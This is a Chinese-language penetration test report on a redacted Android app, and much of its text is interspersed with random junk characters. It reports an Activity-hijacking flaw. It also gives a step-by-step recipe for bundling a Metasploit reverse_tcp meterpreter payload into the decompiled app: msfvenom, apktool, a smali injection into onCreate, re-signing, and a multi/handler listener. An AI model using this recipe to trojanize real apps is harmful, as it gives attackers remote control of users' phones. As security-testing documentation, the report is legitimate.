原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

* T1 C" ?& Q9 D9 F

1 g" v- \ a7 y; [) u& @3 b
7 c8 p6 z; a+ W1 f! a. C

: M: w( n; l! N# i. g3 q - k( |; q2 [) ]

, d; g- h7 G4 f9 I 4 @) O8 }' D2 F& ]

' f3 F. c/ W& S7 M# k4 d5 W 文档编号：               

3 V+ C: R& r4 ~8 }

6 t- c1 }$ d3 p9 i7 h   1 t% p2 p3 }. L5 F5 d

+ r! s; P( y% w& x; n   5 [3 { m, [0 t$ G+ Z ) w; I: W8 j1 S* ^; g/ Q

2 u4 ]1 f; {) b2 R% {7 [% b 3 \, B) f( e$ k& z

 

5 [ y: |. o$ _+ J* C

5 s( S6 n/ d) \- n   / L/ A6 x, K0 o. J; g* s

7 h; T0 r' w6 e$ E   " R% D" t% ~* m2 j2 f

, w9 y9 I, d3 M* ?

0 D2 J% D# L7 H# ~ % b y) L8 d5 N 某某某APP渗透测试

! v/ C5 Q- ~8 I# ]$ K

0 q7 f) _8 z7 e6 _$ Z0 O+ a% S   ! H, e$ t9 T* M4 j6 _8 ?1 [; i" d# D

' T1 t( I) k/ e- {, E4 k / E _5 A$ H" c$ U- q# ~! k

. y& E0 T6 w* m# Z  

9 p/ b _. E4 u2 f: \" i s & Y3 `+ w- Y8 F+ L1 Y9 Q; I& |5 \6 m/ ~

7 A* x+ G& g. J1 f) i$ ^   % q' l; {! X( n0 x6 ~

) _3 A' x0 s4 a9 P% u

 

; v; {+ {7 Y7 a3 L) t 8 ^. I" d/ g; e- q8 b, x2 M

技 术 报 告 ; a2 |/ A8 u8 Y4 Z

. _$ V" f3 I4 y# O! g8 d6 q3 h } - o1 M! ?" x0 @: j. Q# R7 n

5 W8 Q- l1 K- Z. X  

" o: Q* k# Q( z% V( A' v0 y

* J! U$ d9 Y* |/ E$ L) N* R ' a9 i3 [5 z# n- q6 h   ; C2 [* a- ?* E8 X; v6 a9 j* d8 e

. m* d) Y3 U. {: T& _ + r7 c6 y# [. i4 f/ h0 P% s9 u

* v" I' W( M: b   ( x# C' T7 f5 Y

- U0 V' t/ ~2 g- o # d! W$ `* r+ j) q: B

7 `. l0 w$ j; x0 s3 k/ `   % R" m2 Y' ^8 Q. r 2 O \' v1 M n$ k9 `; J7 w0 x

8 {2 n# m: p5 c3 ]: G& B

: J6 z( M- U! Q* S2 r . x0 L U- Q% X, K. o5 k% h$ f   5 {1 K/ q1 l% [5 g- F# X9 Y/ N

- f' ?/ u; p4 Q : i) Q+ ^& G% `( K# ?1 o

  ( C4 q, N) P# [, p

6 K1 s7 O$ b% a2 ?$ Y. j   & B; I4 I0 ^6 a$ a1 S) {. Q: k4 L1 ?1 Q7 q

/ \ L. p. d |

1 A, N" j" \9 q2 N: t S. u  

5 A, ?: T* L( E( y% E8 o9 B

# q8 |( ^ K- i% A% s. Z  

6 X; O1 L' q# y

 

# M$ u1 e# {; t

6 k7 \ h4 i8 N% M/ M$ i* I w& i   + I1 h, F" Z9 N; l' |3 [ 4 ?/ {) ^# r2 |

( ?/ Z, E/ b0 V3 M. J

. g$ r$ f' O4 n6 Y8 Z , |# _" Q: v, }+ R/ k7 x  

( K" M5 ]5 _' u( k 0 o; |! }+ m9 U( z0 V4 q

' g: ^$ Q$ F& l& p, H. @   4 ^6 e0 K) c0 s! H9 h( I/ w

( W7 ? R9 r6 n 1 N% \" M& }7 H$ S1 {1 B

" R& A$ b9 S+ I, y 7 n7 y. r7 N0 m$ p, W( E3 k: v   0 m! q4 g, W- q/ R1 i

. o O* V; D3 l7 }: _ e

8 [$ L% L- V9 x! S   0 B8 ]# u$ T. L! u, t 5 q7 ~) x% z. D$ N* t

5 w9 G( x; m3 `- | % I6 S" E! K: l" [6 a

" Q! W' J, Z8 ]6 }! w + Q3 Y2 K/ W- [, ?7 ?+ K; w+ z) [  

, {8 K2 {/ E) q. ~

  0 C% O; @ v2 k5 m! y* o: L

4 f8 V. m# h4 M ( B9 u4 d6 x u" ~' k

# v3 }- {, I, i! q( q   : S' y8 v7 E9 N2 l/ K4 J, O

1 K# e8 L4 r# a- q p9 l

9 t0 u+ l% V( S& @- a1 V) q ; Y; u1 `8 C9 ~- ?5 f7 w+ d 二〇二〇年

& B: Y8 f' j* P. I3 Y# L
1 L5 ], D7 }# ^) @) [ - Q" a3 y, W1 m) D

# Q( e! L% L& O+ f7 ]1 V: b( e

! n3 O5 i' K9 C" m, L p' q$ L7 p . u! n1 q8 o; y I( o) r% t3 ]
" I% k$ R$ t) ~ ' @1 b9 E% Q) p; n( h6 ^ * _; t% E5 b" ^, f- z: ?, V0 o ^

- c& D0 I! w+ |6 K. }% m- `1 z- { : s9 n2 `/ F& j& Z

目 录 8 N. N1 e7 [5 m& x$ E7 Q ! e& d: W2 i' z1 _ ?

- i) ^6 ?# w& U m/ e- C 8 Y: }+ K* ]9 @8 J

, ~: c s, K( t2 B. p   5 _5 L; J4 R/ i4 y

- P+ M0 V2 R* K3 v* M

2 l6 {' c p) C& b: L6 d! R 1 概述... 3 " P" P# C; d" ^0 T: d( P6 X8 D( g

* m# O3 R' F J0 F6 \

* C/ b& \: w- _/ `, ^! W' ~' r 1.2测试时间... 3 ( \* H$ {) Y" {( t' f

1 A7 q y; X& V3 B

1.3测试对象... 3

6 f0 K t$ |) S" N4 t9 e

1.4测试结果... 3 8 B+ u! ^0 p& p% C9 d1 ^% G1 X* J

8 J3 x6 I) w4 E1 y* s9 b: D 3 X+ v. n! G5 J/ u

& l2 H3 {6 l* A% j& G* u 2 检测结果... 4 " C' g7 {% t: _- {2 {5 w9 i

0 z8 ?: R& O+ k6 ^) q- e. _ \ / _8 s' \# Q6 C

3 ~$ Y8 I5 I2 |2 ^$ ^ 2.1 某某某... 4 - R5 v0 c: v* o9 i

2.1.1检测目标... 4 5 [* k |# K2 ?# k6 U1 d1 L8 Y

: j9 F# m' [8 c; o9 {6 T+ m

2.1.2检测结果... 4 % p; ]* ?, a) u M' Y! | # h* ?; t8 _8 d* m' [

' @9 s2 }2 L5 Z4 i' P2 ]

5 o9 d7 v9 c. Z- J) d + R2 `8 R2 |% ]) k 2.1.2.1. 4 ! D- ?5 O" E' h

1 a* I( a# n. K

2.1.2.2. 6 ! i8 F* I) K- M5 @) D. u4 A

. d0 a/ X/ e% i; j) H7 N$ P ) g2 Q3 Q% S r + K2 |: d5 l. N/ k 7 @2 o& A b v4 d

5 i; [4 V5 @0 d1 a" L" A' H

$ S0 {- l2 B; |9 r& Z
3 A: Q2 T, T. W$ q7 i; K# c 1 [( ]- }9 p' G) }+ f# A7 b 7 D+ G( m. j" I9 _( }, {6 b 6 l% F2 }4 b6 S$ Q2 o( \

9 u, m& b. r' q4 D+ f( Q 1 概述 2 a/ i+ a5 Y' e: s, j9 G+ G

9 H. l# j1 {( W2 u9 W

3 p/ M3 D9 q9 P$ N 1.2测试时间

- g7 [/ P# U; z0 D$ g5 C+ K; O0 s. ^* }# _6 g g+ o3 q7 [1 b7 F u# K$ W9 g5 r0 N4 N# Q: f+ U; i" N" G1 \7 y+ E$ O3 B( U4 R1 u7 a9 G' f4 e9 R/ F3 p" S" d! T: h- L8 a" O& }; h% B1 Z7 K5 H0 j B2 [- |5 B7 G( s& \' T& \# h9 D" O& t# ^# j( z" k7 f' b# Q2 u: ^- B2 C& A& _/ R" k0 p) c- s8 |4 h( x9 U$ l4 U" T8 B: H3 B+ i7 { J1 ~7 m! I8 g. L9 F2 o* V2 M$ i. j% y/ p L8 I5 O W' e. v/ x4 `1 y4 f6 T: S5 q& K; V" Z3 {& Z% U6 K) F# Y# K

" j+ ~. ?5 E+ o* A 8 f$ W% r) ]4 \ 渗透测试时间 . i) i' D* p, R
% \2 B" L& l$ d. i 2 `7 s3 t) `* M- i/ k/ V" [! Q 起始时间 h3 e' q& Q& Z+ l6 Q; |1 T' z 4 D" r3 g4 j8 H6 \$ d1 c' P1 a	2020年4月6日 1 ]9 l7 r0 d7 ~3 F* T! H 9 V% I5 {' T @& e
$ K- y3 U6 F4 D5 n4 n ! p! q, G' n6 x. J( w 结束时间 5 U# o8 _1 x5 h8 E0 q 5 M% @, X- G9 t ( X8 }7 i1 u9 @( U, w+ I& O! u5 V	" p1 B8 ~: e, x) j2 @ $ d Y$ {* A- o8 V, s0 W9 w 2020年4月9日 & v( d1 y9 E% i1 L* S, v( O4 p3 l / c4 \' ?& x2 C; {1 w" Q0 u

) E8 F, P5 v& {+ Y4 `

S; W* U9 r3 B |1 W 1.3测试对象 % k+ j: D% m/ Y/ j% c

, P4 a: l5 C( h 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： , b" A! ^7 O2 z8 ~9 z3 c2 X

* C; c& V' I! s) a* Q4 s

表1-1 检测对象

9 \' L" k, d9 r& t5 ^" d$ F 8 d7 }' }% |; n, B0 f: h5 f- W . ]! y, V! ?# x/ _- \! J5 i* r( U. g# G( N' C7 m/ y7 G% L$ ?+ Y z1 v) z6 a5 g: L' [' U# f9 f4 `# z/ Q# |( B5 ~. |- N1 u8 S* a3 O; ^- i' {1 V/ z# y Q# Q( I* C$ f) E9 G+ o- p0 o, | e" C* b0 }' A" X9 E) \+ h3 L# i5 x( O' c& F% ]' k; z& V- s, x% E$ P, b+ M, P! h7 h$ j# C; Y3 y& p6 x$ Y: }5 g6 m& k) |5 D9 U3 D' P$ k/ i, j% y

" q# z6 @2 L& I % a% x2 O2 I/ _- B( n" x 序号	6 ~1 j/ s. M9 ~- ]/ Z1 z j0 _' a1 Z( w5 J' ] 测试对象	/ @9 P& A( a& \ ' {. k b6 U- v9 ]# h/ \ / j2 z0 M( p4 z% c" w 测试地址 % C* }% B- Y3 \% @ 4 A9 v9 u! J& A, U	/ C8 s/ l9 X# f' q$ }/ [8 f4 M 安全漏洞 - d) T- M1 w( D6 x0 } Q 4 ~/ @$ f1 B/ w. `9 J+ {' s # l" q+ Z( U! U+ \9 v- j) _4 v& P
* z9 M! X+ F' [9 s $ A9 S- b' b% ^4 V* u0 L 1 & E" i5 s9 \, [# g( P	( a& s; R0 A) [, o t/ l' K 某某某安卓APP 4 o' I; ~6 j+ L9 W' B. T2 p, T/ x " U) ]' ~1 b" v+ ` ( d8 z* p" O0 f' [	$ I$ o5 O) r. K5 S" B7 W: \6 z   9 l% ~4 n3 D" r4 x % r* C0 l# [0 i+ d9 [' e' L ) i3 e' ?* \8 z6 }: ^+ l	) J3 L- [# e9 _# [ C 0 h! n4 H" P! h7 X7 j 2 4 U( O: |( v; e ) W6 {% U d; I / r: T6 |8 M2 z

, l' S. l3 ^( W/ x# m6 B! W$ ~8 w

0 k; j1 T* Q4 v/ x1 I# [. r. a$ | 1.4测试结果

6 p; {( T, k" j% h) j$ [/ w% L

7 w. I! Y, S- b) b: j$ F7 Y 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： , k2 g4 N, E. T0 u8 d0 K6 q* X7 ~

7 r# |9 k4 Q3 Y2 @& N- A+ q

' t3 \/ u- {$ _ l8 C * L6 C) N9 z8 F# ~& O8 K   ; `0 o! u- v+ }$ ?4 l% z

0 G8 b5 Y: v3 B( j8 V, X

- u1 Z* U3 g7 c # z w$ e6 q) u) W1 o ; d* e- J5 y# ~+ a5 h# \$ f0 \6 A! j, M$ p( a2 u, D1 ? N2 v2 P3 U9 w: W* l* w- d$ ?- J D: \ t1 ], l+ E/ n9 s7 i1 Q5 O" T1 v9 B! ]+ x% E9 v: t; _5 n) h, d& d& a$ [- o5 v5 V% c2 j+ C0 o" _/ H1 t6 @4 d, D- g5 y S9 @9 _8 y$ T1 N' e9 C- M' D/ a7 q: S& i9 }$ P w) h% J+ T) m1 t- H/ A v3 |$ k! H! g/ k; K7 g3 F/ A W1 Q9 P+ n+ I8 N/ ~* r/ D, H3 d8 V$ v) V7 l! D/ m$ s9 J/ ?& [1 E% h& z5 ]' T4 Z5 W( _( Q* S, i5 f% g. J1 S" [" m. P# }# k/ m4 `) S w; l/ G1 w% S" C- x1 k4 w9 b$ {3 Z) o. m$ I$ \( |6 D6 z! r* ~% J+ R$ }/ ]9 W( v$ E* `7 ?- m- l7 x/ ]0 ]$ D4 z4 ?$ r. a5 [7 w( _+ c, ~6 x! v4 R: Y4 a+ S0 O) u, c/ n) N1 ~- e6 o3 g( |0 R# f4 N. x8 g- B' ?" B6 W. k0 m g/ _: H8 p0 R' s& w+ e2 W6 M- X8 D& V* |( s" Y6 } O2 K2 [. ], E J$ o- k

5 N( B! t! _$ x4 U9 r- a ) K* i7 Y7 D& X5 @4 J7 ?) t; K+ Q 序号 ( ]6 Q6 P7 Z4 B0 J	4 W" U, ]4 } P6 d6 D% b* W , l- ~' r1 P$ ^5 \ " l. c" P7 Z0 S: i 系统名称 4 ?7 v7 y2 }# O 6 l* M5 B7 G% `' u& E 1 ]6 `! Y Z/ F" R8 E; n+ D	3 `( J/ K, o( X% l6 G3 e/ | & X$ X: M: a+ ]6 ^$ Y 3 w5 w8 Z/ d7 e 漏洞名称 6 _+ P! ^" Z) r% t. Y! P |$ \ " y8 v) P, w9 ]( D ( i$ F% r8 o6 J	3 H. `6 {& B; w2 }1 c9 A 漏洞危害 2 W1 f" z& n5 d3 P + }0 `7 [$ r& [, M9 P; P8 S, X	- G! @- [* a1 [. j1 [ " D1 {! J2 E, r i- T 修复结果
1 ?; d$ j3 N3 C0 U! f ' H" U) i" X% ]% V& Z+ d 1 & t. t: M) Z0 y2 }9 A( \' L ) g' r* ~( E9 i" |; I3 d' o, G	% {8 ?6 r$ v3 G" l' ^ - g" X% [8 S G$ J3 C W. r % t$ w1 d( S$ ^9 x3 A9 J 某某某某某某APP ' J0 n) A5 g; n5 P0 A . z0 n: { y6 w- q# d( ^, u8 ] . k2 i! p- U, g2 f% q+ I	) R$ S2 x% c- y6 e$ y6 u Activity 劫持 4 l/ F* u, _' D( p5 u: ? 4 G" a. B& n% w& M# |1 W+ B9 l ) ~$ K. R: N+ x G' g   " ~2 d9 t: r/ U( |& y) ^" J & Z) o% F5 {* A* y. {* a/ X 0 \; h6 j- }* ?& Y: c7 z: r' N0 n	- ~- ~. o( `7 M- T0 ^3 L' w " N* e( s' U" [4 l, u; Y; [ 高 ! z5 p. x( B3 J2 b- Q+ j# [% C	# }" i+ U. o! i3 c % |1 O9 d L j E: L/ p- u   , \2 j: a: |( \ H( G6 s + j# r; ~$ U" h* Q4 U* F , W4 C$ G8 [( I* D. y
& J# \$ U2 @& D4 {) |/ r 2 4 n! s9 A/ p \' P	. j9 U2 q& ?: K' P+ l N $ ^3 U2 a: `7 B 0 ~: N! T# P6 W7 a% S 某某某某某某APP 0 a: s: z: t8 y	8 L2 H" Q7 x }1 \ ) L$ k3 n1 c3 ]9 G" e 0 V7 f' n1 K7 J" i) G$ } 反编译二次打包捆绑木马、篡改APP代码 O. Y/ v, `# n) D8 x - U. j. s1 B$ U$ f / F4 C+ _, q& d6 g' Q	6 d- L) k! d! Q- e8 d& g0 h; ~ 4 Z6 N3 Q" `) ?- V+ ~- R8 t1 K ; U" V# n6 P9 C' I7 m7 w; q 高 : @5 M, \7 X0 e9 J# F " F7 L, {) l( Z3 M! {+ O ) S, Q0 l( D& S _8 l: L7 B	' ~1 R% z/ Z2 H6 k/ b' n( c8 z& ~6 a 1 Z8 ]: @" L- E# }$ a0 q/ Q   $ ^$ Y+ P5 Q t M! g# X0 n6 A

! W' U. Y, M8 E @) U! ]

( ]" c4 c2 u, p8 }, o5 @

Z/ r& Z& b. V/ u \1 A2 o9 M) f 8 A5 d+ ?/ E, [& A  

7 X+ L8 A% e0 s2 b. [ ' w0 V; p5 ^5 S; T% M

8 X, L6 O# z& ~8 }1 l7 |+ _ - V9 [5 a0 L3 D 表1-2 测试结果 * l6 F& g, {2 N$ v/ D

  4 j- C. `# Q+ T. D/ W 8 l. n$ ~0 C/ _( ]

% b8 t4 X* p, C$ @: y; L: C/ `6 P / t5 G6 {2 x9 C9 ^3 K, E$ s8 D% {

8 q1 w; B3 C! A: Y 2 检测结果                    7 P, a5 r* h: r# {9 m0 [4 P - v5 a* f$ q5 _ l7 w7 a7 @+ V" e

. |' t% B4 s$ F$ Z3 Q% Y' r' T- q

. b! J6 r2 f- [% R 2.1 某某某

; ~# u8 F: a( o) `

; m, D0 \. Z1 ?% m 2.1.1检测目标 & B. l1 a$ K$ M5 T4 w7 R% R

- h& }9 `7 Y8 o. W8 T2 ]

目标地址： 某某某某某某APP - v; H e/ X( I* o9 W6 y1 c' W: | ! I4 j7 P0 J- p1 B7 n9 L4 j) |

* l6 X; c( M' j3 U+ ]* g; t5 o% T

2.1.2检测结果 & p% T9 C+ E5 I6 ?

( H5 v+ ^5 d0 W8 Z, e# j, t& B

9 A$ r" F9 w* r, d! _, F. p 2.1.2.1 4 a, p' g3 ~( H/ [0 H

) d7 Q& G4 W' k# s, P; p 9 C0 E$ A- v' j! f2 }$ i# C8 O

- s) ?6 w' d' a- ^) {0 v 漏洞链接地址：某某某某某某APP

) G5 B# b5 i! F) ?0 B - e' `7 F3 F3 \1 B$ y

, ~3 A$ W# w/ Y4 U4 Y, }9 F   9 I, C9 B* P6 K! S2 X4 a. X 3 Y; E- a1 W# X) p# \2 \8 l

0 s. M" a# h+ I/ d1 M. f' Z% K

7 w% r3 W. G! |5 m5 v% b j. L 漏洞分析及取证： 3 M0 {- Y6 z9 K3 A, a

8 S4 P; ? ~; W4 a. O: [2 d 7 O% T! K9 a/ ^- w2 P4 x9 G

; u, g& m. Z8 X7 R, z' Q; T                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

5 C, `. u' b0 q- [0 |+ i N . W+ Z5 Y# u }- u4 g/ y/ N; |4 r; z      * X2 B: E* P6 h( D3 Z6 G6 \$ z! E

* ^6 D8 _& [8 r) H

# b4 U! N+ S* a b+ b% W6 R, c! F% Y 2 ~/ @% p$ N8 R+ S" V& n# W                      

' K3 E: f" h- k6 i3 {. ^9 R, _$ r

4 Z. i3 }1 n4 y/ S4 b ; F: @9 S* n \& i! H 5 B4 n/ U" a$ d- F0 ]

) J( ?/ Q/ P# u* j k' m+ j5 v& V ' c9 Y- l& V4 \ [: h

8 n, ?2 a2 s" B. ~ % j1 A0 \4 C; \) \. u& a5 M3 F

) ~# s; Q; O/ @2 _$ f

/ G4 G2 K8 i/ e+ j) Q9 V " o$ `: h4 ~, x1 D+ p 5 w- Q4 `' ?4 O, A$ e9 X

0 p& l# Z2 u" m. D* w ! J" V0 X4 a# Z) a

V3 ]$ O' [2 n 漏洞危害：高 ; D. t0 |( C& [ 6 B; h2 \& ~* h

* y' y# h8 w i 9 R% E/ M/ t: ^8 f 8 O, T& f# }) U( w: v1 B& {1 f* d1 h1 E3 z) O: R: Y% _( A2 W, T6 l! l( x! G D: s4 w( H) o$ D' g9 w5 ?9 l q$ o, w, t" v! x, B) m- e' p: |: b1 t6 z8 f" Z' w6 w& j- ^% l( R1 u9 H g, T

2 d# r0 j- ^8 A, L! W ) E7 n# U1 H, ?4 {" A. q 严重程度 9 @$ J1 q- K _	% m7 Y& F3 Q. H& p: M" p. O8 e) E; t 高 & G2 G0 \& s8 t8 D: F 7 d& S* y% P3 u2 p* d1 b( [	* F2 p" l0 Q) C% o0 Q4 N8 n& p& H " P: C% ^+ Z: E/ { ) s, s" D! S* ` } ■ 9 `$ c9 j @& W2 H& P. H ; e5 f4 t/ j9 b2 q1 K3 c	中 ! e8 [! \1 i5 v% i7 @ 1 r& {1 Z- N9 {- f) z7 k- V ' i. z5 A, p9 O# f( m	. q6 v; l$ a0 d( f% J4 t * c8 O% F* I* G" G P   " o7 n. E4 p4 C: D3 n4 T . o9 v0 H/ D6 `( F , |( }2 l! ?1 x . a I1 q2 A" @9 I7 N n5 U	j* s/ E7 u( x3 G3 ~ ( G2 x+ K+ y5 F7 d4 l, j 9 @/ @9 A4 d! |1 M3 ], w 低 * Y0 p+ ^5 k+ ^	, l- [+ g! d7 u# b$ Y   , ~5 M1 i0 t* @: D: u

4 B" D, b' `; |' } 7 l# q1 E; F' B n

3 R! P! S2 Q1 G   4 ^$ {4 b/ [' ]

7 [' E5 b1 t! b7 i. m

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

: Z; k0 T3 m5 P P! |3 `, S0 p* B

[! z# [! H1 C" ^4 p8 Z           1 _6 A( i: ]( M# _ - _& M9 o+ ]* p3 E

; T4 C9 x- y( f: g q. C

  + ]& _& B2 q6 ?% S5 ^- R

& x8 C2 P/ ^* o. r* k7 M

1 ]7 X1 f: n: p$ y# m6 I 2.1.2.2 / t1 n9 O/ O0 P, q; F$ e 5 n, Y, O$ k4 _. W4 v4 E

: \- M* ^ u* b% `% w7 q # t# F0 s. d" M6 Z 漏洞链接地址：某某某某某某APP ! h2 }* j' _* b- s

8 V: |) O h% O% M/ Q 漏洞分析及取证：

" `0 U' L1 V3 Y4 K- p! M% ^

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 1 p- x0 h, Z' |+ }3 T. S5 j: p

2 ?. [; q% ]8 a, C 用Metasploit 生成木马 apk * ~1 n8 [2 j0 w9 r A# b0 _ 5 x$ f; i- C* N& F

6 \2 {/ T& O$ t' j) U

+ L6 M! c0 m, ~ s( u1 ~0 f0 Q msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

6 H. z1 f' h" ]( h6 l8 N 1 K/ n+ Y7 Q- {3 e: J

' }7 A+ A3 B1 @) L0 o! G A& P5 h # Y3 ], @+ y1 M1 Y 反编译目标apk和木马apk 2 m, e, i# ?) Y/ B. m6 c9 e% h( ~ $ ^7 U" h& c2 N* Z S( @6 h

apktool d target.apk
! @2 ~$ }" n1 k apktool d cockhorse.apk 8 [( m( b3 m+ {6 t - e* {1 d* E5 T1 t( H/ _' F

) _0 u; _6 d& u6 ~

9 q. y; N. m( W1 v+ |% i) \ / S, X; }! T! P# T 木马 apk 注入目标 apk $ w+ `! N4 k# C" S3 @ $ A# i% }1 Z* \- l

, ^3 z% X4 k: Q3 H

" o0 r7 O: \; P2 ], f 9 u+ \$ l( k, x' ^# ] 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
; E/ r3 u, @& J invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ; x' e2 t O8 H: Q8 _/ J

% M0 X& o/ H5 o- H4 Z, c

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 8 c9 `) E x' F0 K7 \6 u

) F% a) u& u \% @) n5 t4 X h / R0 m1 t8 h, G( K( Q

/ J8 X$ N1 Q* ?& d$ _+ f6 ?5 b " e9 b5 @3 I5 ?$ C! b" U 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 " `7 Q. w3 R+ ^0 P4 \* K: e7 U

. J! w7 A: B. ^1 k3 `5 S+ `$ _2 v 回编译生成最终 apk 2 Q2 v7 t& g# q5 Z0 P# l& W/ `

重新打包 $ l5 \" }2 r, P* L+ _4 ^' ] 2 e! D5 z! v# L; h

9 n* c7 g' h! t/ t. K: y / g0 A; F% L+ m) V$ e3 ` C

1 Q! F* \ p1 X apktool b -o repackage.apk target_app_floder

8 G' U K+ H; o+ [8 x" m

创建签名文件，有的话可忽略此步骤 . `$ v8 U/ e5 ~

: i% E3 t3 l) o6 ~1 B

8 e& |$ v3 m: F, J% ] keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                - b! C' q, Y$ w1 M

2 s% s2 s2 v [! l7 a

9 I8 P7 C/ r2 X" b7 J% ~ 签名，以下任选其一 : I- ~. }) J% P. X, g

7 r, h: j* s: F: w. }: p, L

. Z* i, q, Q( s, c0 `+ J! @, S jarsigner 方式 # p5 r V/ d& n9 F; l8 Y: ` ! R0 [7 c$ D4 @4 f- q

5 X2 i+ s" _% G

# Q# C, ]5 E4 v0 I7 t jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ! e5 y1 o2 F1 j; a, f

( }; y6 b3 |% a- f 3 B1 h) j+ N6 G3 A4 V/ _8 j h

+ @1 s r& t* F apksigner 方式 3 ]) c, F3 s5 s, ^, o

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

* ?+ H5 w( H$ {' c1 I# n% E+ u

7 |9 Y7 T) A ?) h8 A* t) p; w ( a: ~( G5 d4 @7 D& Z4 M 如需要禁用 v2签名 添加选项--v2-signing-enabled false 3 K. f0 a! C) S; B) w Q) R& @. [3 D

' N) @9 M/ E; \( ^2 p

/ p# n* s9 \4 u( H8 k 9 N2 T7 b0 l4 c2 ~ 验证，以下任选其一 6 N$ H1 |5 h7 k/ J3 x x

5 B! V: ^9 W @" G" J 1 y6 [& G# Q9 P- T: n' E

! T' C3 g4 S4 x. P2 k jarsigner方式 8 ` a, p0 S, X, k 4 `' _) b8 F/ v) d* e

/ |7 O) `& [" N, K9 t 3 N0 ^3 j6 G# e( z: J" {

5 N; O0 |. ]$ n' X. O+ u; Y jarsigner -verify repackaged.apk ; Y) K) j+ P) \. c# b l5 f

! f, y8 C& I ]6 t" D

5 {/ i# i" i3 P" y * S7 k2 s! }" y P% P% D2 Z apksigner 方式

) e5 P8 P3 v0 c8 a" U4 p" c: Y6 X

4 M/ M8 I: b2 I# p: r apksigner verify -v --print-certs repackaged.apk 4 V* o0 C$ }7 h. w# C/ \( U( ] ! b( U- S! Z, M- S

keytool方式 ; z+ ~: J6 p3 E5 I8 S

% I1 M( N, \+ g N0 Q

keytool -printcert -jarfile repackaged.apk - d5 x( F' q4 Q4 w1 r 3 y: d9 d I0 k9 O. I0 H7 g* W

$ G. B3 o5 h9 r& Q% m

对齐 ( T4 P& ~0 L3 d% C ! l6 n& e$ [; u# g7 x

* J0 l% c: n. d$ j: ~

+ I/ Q" ^0 o; @) q8 @/ ` 字节对齐优化

3 o/ K; R; e# s* E0 |

5 Z7 T2 O( _) ~1 q+ c zipalign -v 4 repackaged.apk final.apk 6 v% m. v! V' n! Y0 i( U0 G

' a8 f9 @) h" x3 Q u/ k: }

检查是否对齐 / p! c) D% }% G' g - v$ n9 B# b% {9 u& O) p& q

9 g2 S/ q9 D+ ]: i3 d 7 O, ?9 Y2 M0 x8 Z2 C

zipalign -c -v 4 final.apk + Y6 B7 s8 a3 ~0 J2 S 9 T$ g& f% X1 O7 R

) m- X0 ]9 ]1 u' p4 i- J0 B# Z 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 4 Z3 L: j8 j9 O' C7 x

' ^2 l/ l4 N# m2 v5 p8 \( P $ ^- o, i' r7 M! T, M6 X

启动Metasploit控制台，配置参数等待上线 * P% i% F6 _/ W

1 _; D2 R6 Z6 F - d8 B9 p$ e% b

在终端依次输入如下命令 8 m( G* h0 I& d

7 N, j( l5 p! |2 g* q

msfconsole # {' O y1 }3 P! ?' H' X 3 x7 m; n, G+ O8 s

0 a1 A4 D6 a3 E9 O* { 3 X! T9 V) |4 h9 V

use exploit/multi/handler + D$ K! Z( X, X# X$ p. C

7 j6 {/ `5 h! ~2 G+ R% d

set PAYLOAD android/meterpreter/reverse_tcp

0 r+ { x1 [2 T

1 a& D% N) ~; b9 M2 V$ E: q 6 j+ J1 m8 Z) M; Z set LHOST 192.xxx.xx.xx 1 X x5 x5 H# N/ M& u

6 z6 f3 E( R! q6 `/ ^9 Z , l, n% m6 ~0 T- g

- d8 ~; y0 [6 g: s/ X' U set LPORT 4444 ! }) E* O- k4 w9 N3 R0 g

& ~# F1 T4 C% ]0 Z. G1 B

5 Z$ G, t" n) R. E" {$ l; ~ 3 B& Y' Y' ?' C7 n& v1 w4 F exploit

" m( H% P0 R& r9 M/ e

7 ]7 j" a0 [! ?4 \% x. Q7 q & R L, V4 s W5 p: i a, Z' F 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               " K8 y+ i9 S, f/ @& ~$ g9 E# C. F f/ W5 i4 O" k+ b$ V8 `

$ |) P+ r/ K4 w" Z# `

, P) S/ h& T; I" ]& Z$ M `: l7 d 漏洞危害：中 6 v/ N: [/ X |6 h0 Q9 S % }( u# W* a( n& [: Z

% ]3 R7 r. d# t' q9 k . z! M5 u3 u# L2 l3 u- ~1 t2 I

) j2 R+ M& z5 P2 y: p7 w9 \ , c @ e& L) l/ m+ {) @5 M ! z, L5 W9 V& |$ n) n* \8 K ; A) [- j7 H I) L; \/ i5 d# [7 f, X; I9 M4 \* d' I9 H; p: T5 T; y) C s3 |$ E. V7 ?* N0 l# x6 I W( y7 G( v2 o1 o, F+ n3 U' r9 _! { b# p' a( u' t* K8 q9 R8 ]* [, `0 z1 E3 u* l& o. @- h6 x; ^0 \% w1 p! P, z! x% f2 r2 H) j9 ]3 `. R" R# t( `; u4 Y! B1 g4 t( E ^; e, k2 c3 b: F8 |0 K5 l" V4 K9 C4 Q( I. y+ ~. f5 n: h+ B# D' D5 |) F# X) R+ t; G) E

